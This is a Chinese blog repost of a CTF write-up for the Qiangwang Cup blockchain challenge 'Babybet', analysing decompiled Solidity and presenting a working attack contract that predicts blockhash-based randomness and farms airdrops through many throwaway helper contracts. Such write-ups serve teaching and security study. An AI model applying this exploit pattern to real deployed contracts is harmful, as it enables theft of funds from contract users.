强网杯区块链题目--Babybet深入分析

2019-06-09 约 2050 字 预计阅读 5 分钟

声明:本文 【强网杯区块链题目–Babybet深入分析】 由作者 Pinging 于 2019-06-10 06:03:00 首发 先知社区 曾经 浏览数 1 次

感谢 Pinging 的辛苦付出!

一、前言

前文介绍了强网杯区块链第一道题目,本文将对第二道题目Babybet进行深入分析。在比赛过程中,该题目并没有许多人做出,相比于第一题来说本题目并没有增加很大的难度,只是利用方法不同。本题目与第一道题目利用过程都很复杂,第一题需要不断建立b1b1的账户,而本题目需要我们不断进行循环函数调用。

下面看我们详细的分析。

二、题目分析

同第一题一样,该问题给出合约地址以及部分合约文件。

0x5d1beefd4de611caff204e1a318039324575599a@ropsten,请使用自己队伍的token获取flag,否则flag无效

pragma solidity ^0.4.23;

contract babybet {
    mapping(address => uint) public balance;
    mapping(address => uint) public status;
    address owner;

    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 

    constructor()public{
        owner = msg.sender;
        balance[msg.sender]=1000000;
    }

    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 1000000);
        if (msg.sender!=owner){
        balance[msg.sender]=0;}
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }

    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }

...

该合约包括余额变量与status变量,且包括发送flag事件。在发送flag函数中,语句要求函数调用者的余额>=1000000。且当函数调用方不是owner时便会将余额赋值为0,并触发事件。

当然给出的合约中并没有更多有价值的地方,所以我们还是需要选择进行逆向操作。

https://ropsten.etherscan.io/address/0x5d1beefd4de611caff204e1a318039324575599a

逆向得到关键函数:

function status(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x01;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
    }

    function profit() {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;

        if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x0a;
        memory[0x20:0x40] = 0x01;
        storage[keccak256(memory[0x00:0x40])] = 0x01;
    }

    function bet(var arg0) {
        var var0 = 0x00;
        memory[var0:var0 + 0x20] = msg.sender;
        memory[0x20:0x40] = var0;
        var var1 = var0;

        if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;

        if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + ~0x09;
        var0 = block.blockHash(block.number + ~0x00);
        var1 = var0 % 0x03;

        if (var1 != arg0) {
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x01;
            storage[keccak256(memory[0x00:0x40])] = 0x02;
            return;
        } else {
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x00;
            var temp1 = keccak256(memory[0x00:0x40]);
            storage[temp1] = storage[temp1] + 0x03e8;
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x01;
            storage[keccak256(memory[0x00:0x40])] = 0x02;
            return;
        }
    }
    function balance(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x00;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
    }

    function func_048F(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;

        if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        var temp1 = arg1;
        storage[temp0] = storage[temp0] - temp1;
        memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
        var temp2 = keccak256(memory[0x00:0x40]);
        storage[temp2] = temp1 + storage[temp2];
    }
}

下面我们详细对这些函数进行分析:

首先是profit()函数。看到此函数我们就应该立刻想到为空投函数,该函数需要满足status = 0,且当调用此函数后,用户余额会增加10 ,且status将变为1 。简单来说,这种函数只能够调用一次。

下面是bet函数,该函数为合约的关键点。

var var0 = 0x00;
        memory[var0:var0 + 0x20] = msg.sender;
        memory[0x20:0x40] = var0;
        var var1 = var0;
        if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }

该语句表示调用函数的账户的余额需要满足<=10,否则无法调用。

memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
        if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

该语句表示用户的status需要满足<2。

当满足上述两个条件后,合约将计算一个随机数:

var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + ~0x09;
        var0 = block.blockHash(block.number + ~0x00);
        var1 = var0 % 0x03;

该随机数用正常表示如下:

bytes32 guess = block.blockhash(block.number - 0x01);
        uint guess1 = uint(guess) % 0x03;

由于调用bet函数需要用户传入一个参数arg0。当arg0不等于随机数时,合约直接将status设置为2 。否则将执行关键过程,即让用户的余额+1000元。

memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x00;
            var temp1 = keccak256(memory[0x00:0x40]);
            storage[temp1] = storage[temp1] + 0x03e8;
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x01;
            storage[keccak256(memory[0x00:0x40])] = 0x02;

并将status赋值为2 。此处的status为2后,则表示用户无法再次调用bet函数,所以这个函数只能被使用一次。

之后我们分析一个无法解析出名字的函数 :func_048F()

function func_048F(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;

        if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        var temp1 = arg1;
        storage[temp0] = storage[temp0] - temp1;
        memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
        var temp2 = keccak256(memory[0x00:0x40]);
        storage[temp2] = temp1 + storage[temp2];
    }

该函数传入两个参数并满足arg1需要大于余额,这也就是很明显的转账函数。之后账户余额减少并使收款方余额增加。

基本上该合约的关键函数到此就分析结束,那么我们如何进行攻击呢?如何才能获取到100w的代币?

我们发现合约中唯一能获得钱的函数为bet。且只有1000块。所以我们可以使用薅羊毛的做法进行转账。我们的合约中存在打赌函数与转账函数,所以我们的假设完全满足。

我们知道,区块链中如果不调用第三方库那么便不会存在真正的随机数,此合约的随机数便可以被预测。

即我们可以使用如下函数来达到与合约相同的随机数预测:

bytes32 guess = block.blockhash(block.number - 0x01);
        uint guess1 = uint(guess) % 0x03;

之后我们传入此随机数便可以获取到1000 。

于是我们一个羊应该包括如下步骤:

target.profit();——>target.bet(guess1);——>transfer。下章中我们详细进行分析。

三、攻击复现

攻击合约如下:

pragma solidity ^0.4.23;

contract babybet {
    mapping(address => uint) public balance;
    mapping(address => uint) public status;
    address owner;

    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 

    constructor()public{
        owner = msg.sender;
        balance[msg.sender]=1000000;
    }

    function balance(address a) returns (uint b) {

    }

    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 1000000);
        if (msg.sender!=owner){
        balance[msg.sender]=0;}
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }
    function profit() {}

    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
    function bet(uint num) {}
}

contract midContract {
    babybet target = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);

    function process() public {
        target.profit();
        bytes32 guess = block.blockhash(block.number - 0x01);
        uint guess1 = uint(guess) % 0x03;
        target.bet(guess1);

    }
        function transfer(address a, uint b) public{
        // target.func_048F(a,b);
        bytes4 method = 0xf0d25268;
        target.call(method,a,b);
        selfdestruct();
    }
}

contract hack {
    // babybet target; = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);


function ffff() public {
     for(int i=0;i<=100;i++){
            midContract mid = new midContract();
            mid.process();
            mid.transfer("0x9b9a3xxxxxxxxxxxxxxxxxxxx",1000);
        }
}

}

我们进行函数的测试,看看是否可以真正预测随机数。我们调用midContract中的process

看到目前合约中的余额和status均为0 。调用函数后得到:

说明我们随机数预测成功,那么后面就非常简单了,即将process函数封装并调用转账函数将合约中的1000转给一个账户。

midContract mid = new midContract();
            mid.process();
            mid.transfer("0x9b9a30b7df47b9dbexxxxxxxxxxxxx",1000);

上述合约调用1000次即可。

调用后余额清空:

得到flag。

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now